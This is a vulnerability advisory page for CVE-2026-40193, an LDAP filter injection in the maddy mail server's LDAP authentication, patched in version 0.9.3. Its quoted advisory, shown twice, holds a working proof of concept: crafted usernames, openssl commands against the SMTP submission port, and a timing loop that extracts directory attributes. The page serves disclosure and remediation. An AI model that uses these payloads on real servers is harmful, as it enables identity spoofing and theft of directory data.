CVE-2026-40193: Github.com/foxcpp/maddy Maddy Mail Server Has An Vulnerability

HIGH
Advisory Identifier: GHSA-5835-4gvc-32pc
CVSS 8.2
CWE-90
Published
Advisory Summary

CVE-2026-40193 is a HIGH (CVSS 8.2) maddy mail server has an vulnerability (CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')) affecting Github.com/foxcpp/maddy libraries in the Go ecosystem. The issue involves maddy mail server has an ldap filter injection via unsanitized username. Remediation is available by upgrading affected packages to version 0.9.3.

CVE-2026-40193 at a Glance

CVE Identifier CVE-2026-40193
GHSA Identifier GHSA-5835-4gvc-32pc
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
Affected Product Github.com/foxcpp/maddy
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-40193

To remediate this vulnerability, upgrade all affected Github.com/foxcpp/maddy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/foxcpp/maddy fixed: 0.9.3
Upgrade github.com/foxcpp/maddy to 0.9.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/foxcpp/maddy

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40193, inspect your project dependencies for Github.com/foxcpp/maddy:

inspect dependencies for github.com/foxcpp/maddy

Analyze the terminal output to locate any version of Github.com/foxcpp/maddy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'), where the product constructs all or part of an ldap query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended ldap query when it is sent to a downstream component. In Github.com/foxcpp/maddy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `auth.ldap` module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via `strings.ReplaceAll()` without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The `go-ldap/ldap/v3` library—already imported in the same file—provides `ldap.EscapeFilter()` specifically for this purpose, but it is never called. ### Patched version Upgrade to maddy 0.9.3. ### Details **Affected file:** `internal/auth/ldap/ldap.go` Three locations substitute the raw, attacker-controlled `username` into LDAP filter or DN strings with no escaping: **1. `Lookup()` — line 228 (filter injection)** ```go func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) { // ... req := ldap.NewSearchRequest( a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 2, 0, false, strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING []string{"dn"}, nil) ``` **2. `AuthPlain()` — line 255 (DN template injection)** ```go func (a *Auth) AuthPlain(username, password string) error { // ... if a.dnTemplate != "" { userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username) // <-- NO ESCAPING ``` **3. `AuthPlain()` — line 260 (filter injection)** ```go } else { req := ldap.NewSearchRequest( a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 2, 0, false, strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING []string{"dn"}, nil) ``` The `go-ldap/ldap/v3` library (v3.4.10, imported at line 17) provides `ldap.EscapeFilter()` which escapes `(`, `)`, `*`, `\`, and NUL per RFC 4515. It is never called on user input. **No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.** ### PoC **Prerequisites:** - A maddy instance configured with `auth.ldap` using a `filter` directive - An LDAP directory (e.g., OpenLDAP) with at least one user - Network access to maddy's SMTP submission port (587) or IMAP port (993/143) **Step 1: Vulnerable maddy configuration** ``` auth.ldap ldap_auth { urls ldap://ldapserver:389 bind plain "cn=admin,dc=example,dc=org" "adminpassword" base_dn "ou=people,dc=example,dc=org" filter "(&(objectClass=inetOrgPerson)(uid={username}))" } submission tcp://0.0.0.0:587 { auth &ldap_auth # ... } ``` Assume the LDAP directory contains users `alice` (password: `alice_pass`) and `bob` (password: `bob_pass`). **Step 2: Verify normal authentication works** ```bash # Encode AUTH PLAIN: \x00alice\x00alice_pass AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64) # Connect via SMTP submission with STARTTLS openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF EHLO test AUTH PLAIN $AUTH_BLOB QUIT EOF # Expected: 235 Authentication succeeded ``` **Step 3: Boolean-based blind LDAP injection (attribute extraction)** An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle. ```bash # Scenario: attacker knows bob's password ("bob_pass"). # Goal: extract bob's "description" attribute value one character at a time. # # Injected username: bob)(description=S* # Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*)) # # If bob's description starts with "S" → filter matches 1 entry (bob) # → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS) # If not → filter matches 0 entries → 535 (FAILURE) # # By iterating characters, the attacker reconstructs the full attribute value. # Test: does bob's description start with "S"? INJECTED='bob)(description=S*' AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64) openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF EHLO test AUTH PLAIN $AUTH_BLOB QUIT EOF # 235 → yes, starts with "S" # Narrow: does it start with "Se"? INJECTED='bob)(description=Se*' AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64) # ... repeat until full value is extracted # This works for ANY LDAP attribute: userPassword hashes, mail, # telephoneNumber, memberOf, etc. ``` For extracting attributes of **other users** (whose password the attacker does not know), a timing side-channel is used instead. The `AuthPlain()` function has two distinct failure paths: - **0 entries matched** (line 270): returns `ErrUnknownCredentials` immediately — **fast** - **1 entry matched, bind fails** (line 275): performs `conn.Bind()` over the network, then returns — **slow** (adds LDAP bind round-trip latency) Both return SMTP `535`, but the timing difference is measurable: ```bash # Target: extract alice's "description" attribute. # Attacker does NOT know alice's password. # # Injected username: alice)(description=S* # Resulting filter: (&(objectClass=inetOrgPerson)(uid=alice)(description=S*)) # # If alice's description starts with "S": # → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW) # If not: # → 0 matches → immediate 535 (FAST) # # Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN) for c in {a..z} {A..Z} {0..9}; do INJECTED="alice)(description=${c}*" AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64) START=$(date +%s%N) echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \ openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null END=$(date +%s%N) ELAPSED=$(( (END - START) / 1000000 )) echo "char='$c' time=${ELAPSED}ms" done # Characters with significantly longer response times indicate a filter match. ``` ### Impact **Who is affected:** Any maddy deployment that uses the `auth.ldap` module with either the `filter` or `dn_template` directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected. **What an attacker can do:** 1. **Identity spoofing:** An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (`connState.AuthUser` in SMTP, `username` passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream. 2. **LDAP directory enumeration:** By injecting wildcard filters (`*`) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure. 3. **Attribute value extraction via boolean-based blind injection:** An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., `bob)(description=X*`) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel. 4. **DN template path traversal:** When `dn_template` is used instead of `filter` (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees. ### Credit [Yuheng Zhang](mailto:zhangyuh25@mails.tsinghua.edu.cn), [Zihan Zhang](mailto:zzh1032@sjtu.edu.cn), [Jianjun Chen](mailto:jianjun@tsinghua.edu.cn) and [Teatime Lab LTD.](mailto:research@teatimelab.com)

CVE-2026-40193 Affected Github.com/foxcpp/maddy Versions

1 component(s)
Fixed Versions:
0.9.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/foxcpp/maddy
Go
< 0.9.3
0.9.3

References

Frequently Asked Questions

What is CVE-2026-40193?
CVE-2026-40193 is a security vulnerability in Github.com/foxcpp/maddy involving Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username under CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection').
Which Github.com/foxcpp/maddy versions are affected?
Affected versions include releases prior to 0.9.3 across affected packages: github.com/foxcpp/maddy.
What version fixes CVE-2026-40193?
Upgrading to 0.9.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/foxcpp/maddy affected?
Yes, github.com/foxcpp/maddy is affected in releases prior to 0.9.3. Upgrade your dependency to 0.9.3 or later.
What is the CVSS score of CVE-2026-40193?
CVE-2026-40193 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-40193?
CVE-2026-40193 is classified under CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-40193?
Run the dependency tree command: 'inspect dependencies for github.com/foxcpp/maddy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5835-4gvc-32pc",
  "modified" : "2026-04-16T21:57:25Z",
  "published" : "2026-04-13T19:22:52Z",
  "aliases" : [ "CVE-2026-40193" ],
  "summary" : "Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username",
  "details" : "### Summary\n\nThe `auth.ldap` module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via `strings.ReplaceAll()` without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The `go-ldap/ldap/v3` library—already imported in the same file—provides `ldap.EscapeFilter()` specifically for this purpose, but it is never called.\n\n### Patched version\n\nUpgrade to maddy 0.9.3.\n\n### Details\n\n**Affected file:** `internal/auth/ldap/ldap.go`\n\nThree locations substitute the raw, attacker-controlled `username` into LDAP filter or DN strings with no escaping:\n\n**1. `Lookup()` — line 228 (filter injection)**\n\n```go\nfunc (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {\n    // ...\n    req := ldap.NewSearchRequest(\n        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n        2, 0, false,\n        strings.ReplaceAll(a.filterTemplate, \"{username}\", username),  // <-- NO ESCAPING\n        []string{\"dn\"}, nil)\n```\n\n**2. `AuthPlain()` — line 255 (DN template injection)**\n\n```go\nfunc (a *Auth) AuthPlain(username, password string) error {\n    // ...\n    if a.dnTemplate != \"\" {\n        userDN = strings.ReplaceAll(a.dnTemplate, \"{username}\", username)  // <-- NO ESCAPING\n```\n\n**3. `AuthPlain()` — line 260 (filter injection)**\n\n```go\n    } else {\n        req := ldap.NewSearchRequest(\n            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n            2, 0, false,\n            strings.ReplaceAll(a.filterTemplate, \"{username}\", username),  // <-- NO ESCAPING\n            []string{\"dn\"}, nil)\n```\n\nThe `go-ldap/ldap/v3` library (v3.4.10, imported at line 17) provides `ldap.EscapeFilter()` which escapes `(`, `)`, `*`, `\\`, and NUL per RFC 4515. It is never called on user input.\n\n**No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.**\n\n### PoC\n\n**Prerequisites:**\n- A maddy instance configured with `auth.ldap` using a `filter` directive\n- An LDAP directory (e.g., OpenLDAP) with at least one user\n- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)\n\n**Step 1: Vulnerable maddy configuration**\n\n```\nauth.ldap ldap_auth {\n    urls ldap://ldapserver:389\n    bind plain \"cn=admin,dc=example,dc=org\" \"adminpassword\"\n    base_dn \"ou=people,dc=example,dc=org\"\n    filter \"(&(objectClass=inetOrgPerson)(uid={username}))\"\n}\n\nsubmission tcp://0.0.0.0:587 {\n    auth &ldap_auth\n    # ...\n}\n```\n\nAssume the LDAP directory contains users `alice` (password: `alice_pass`) and `bob` (password: `bob_pass`).\n\n**Step 2: Verify normal authentication works**\n\n```bash\n# Encode AUTH PLAIN: \\x00alice\\x00alice_pass\nAUTH_BLOB=$(printf '\\x00alice\\x00alice_pass' | base64)\n\n# Connect via SMTP submission with STARTTLS\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# Expected: 235 Authentication succeeded\n```\n\n**Step 3: Boolean-based blind LDAP injection (attribute extraction)**\n\nAn attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.\n\n```bash\n# Scenario: attacker knows bob's password (\"bob_pass\").\n# Goal: extract bob's \"description\" attribute value one character at a time.\n#\n# Injected username: bob)(description=S*\n# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))\n#\n# If bob's description starts with \"S\" → filter matches 1 entry (bob)\n#   → conn.Bind(bob_DN, \"bob_pass\") succeeds → 235 (SUCCESS)\n# If not → filter matches 0 entries → 535 (FAILURE)\n#\n# By iterating characters, the attacker reconstructs the full attribute value.\n\n# Test: does bob's description start with \"S\"?\nINJECTED='bob)(description=S*'\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# 235 → yes, starts with \"S\"\n\n# Narrow: does it start with \"Se\"?\nINJECTED='bob)(description=Se*'\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\n# ... repeat until full value is extracted\n\n# This works for ANY LDAP attribute: userPassword hashes, mail,\n# telephoneNumber, memberOf, etc.\n```\n\nFor extracting attributes of **other users** (whose password the attacker does not know), a timing side-channel is used instead. The `AuthPlain()` function has two distinct failure paths:\n\n- **0 entries matched** (line 270): returns `ErrUnknownCredentials` immediately — **fast**\n- **1 entry matched, bind fails** (line 275): performs `conn.Bind()` over the network, then returns — **slow** (adds LDAP bind round-trip latency)\n\nBoth return SMTP `535`, but the timing difference is measurable:\n\n```bash\n# Target: extract alice's \"description\" attribute.\n# Attacker does NOT know alice's password.\n#\n# Injected username: alice)(description=S*\n# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))\n#\n# If alice's description starts with \"S\":\n#   → 1 match → conn.Bind(alice_DN, \"wrong\") → bind fails → 535 (SLOW)\n# If not:\n#   → 0 matches → immediate 535 (FAST)\n#\n# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)\n\nfor c in {a..z} {A..Z} {0..9}; do\n    INJECTED=\"alice)(description=${c}*\"\n    AUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00wrong\" | base64)\n    START=$(date +%s%N)\n    echo -e \"EHLO test\\r\\nAUTH PLAIN ${AUTH_BLOB}\\r\\nQUIT\\r\\n\" | \\\n        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null\n    END=$(date +%s%N)\n    ELAPSED=$(( (END - START) / 1000000 ))\n    echo \"char='$c' time=${ELAPSED}ms\"\ndone\n# Characters with significantly longer response times indicate a filter match.\n```\n\n### Impact\n\n**Who is affected:** Any maddy deployment that uses the `auth.ldap` module with either the `filter` or `dn_template` directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.\n\n**What an attacker can do:**\n\n1. **Identity spoofing:** An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (`connState.AuthUser` in SMTP, `username` passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.\n\n2. **LDAP directory enumeration:** By injecting wildcard filters (`*`) and observing error responses (e.g., \"too many entries\" vs. \"unknown credentials\"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.\n\n3. **Attribute value extraction via boolean-based blind injection:** An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., `bob)(description=X*`) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.\n\n4. **DN template path traversal:** When `dn_template` is used instead of `filter` (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.\n\n### Credit\n\n[Yuheng Zhang](mailto:zhangyuh25@mails.tsinghua.edu.cn), [Zihan Zhang](mailto:zzh1032@sjtu.edu.cn), [Jianjun Chen](mailto:jianjun@tsinghua.edu.cn) and [Teatime Lab LTD.](mailto:research@teatimelab.com)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/foxcpp/maddy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40193"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/foxcpp/maddy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/foxcpp/maddy/releases/tag/v0.9.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-90" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-13T19:22:52Z",
    "nvd_published_at" : "2026-04-16T00:16:28Z"
  }
}